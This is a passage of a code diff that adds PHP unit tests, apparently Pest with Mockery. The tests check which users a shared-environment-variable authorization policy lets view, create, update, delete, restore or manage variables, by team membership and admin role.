+ expect($policy->viewAny($user))->toBeTrue();
+});
+
+it('allows team member to view their team shared environment variable', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->view($user, $model))->toBeTrue();
+});
+
+it('denies non-team member to view shared environment variable', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $model = new class
+ {
+ public $team_id = 2;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->view($user, $model))->toBeFalse();
+});
+
+it('allows admin to create shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(true);
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->create($user))->toBeTrue();
+});
+
+it('denies non-admin to create shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(false);
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->create($user))->toBeFalse();
+});
+
+it('allows team admin to update shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->update($user, $model))->toBeTrue();
+});
+
+it('denies team member to update shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->update($user, $model))->toBeFalse();
+});
+
+it('allows team admin to delete shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->delete($user, $model))->toBeTrue();
+});
+
+it('denies team member to delete shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->delete($user, $model))->toBeFalse();
+});
+
+it('denies restore of shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->restore($user, $model))->toBeFalse();
+});
+
+it('denies force delete of shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->forceDelete($user, $model))->toBeFalse();
+});
+
+it('allows team admin to manage environment', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->manageEnvironment($user, $model))->toBeTrue();
+});
+
+it('denies team member to manage environment', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->manageEnvironment($user, $model))->toBeFalse();
+});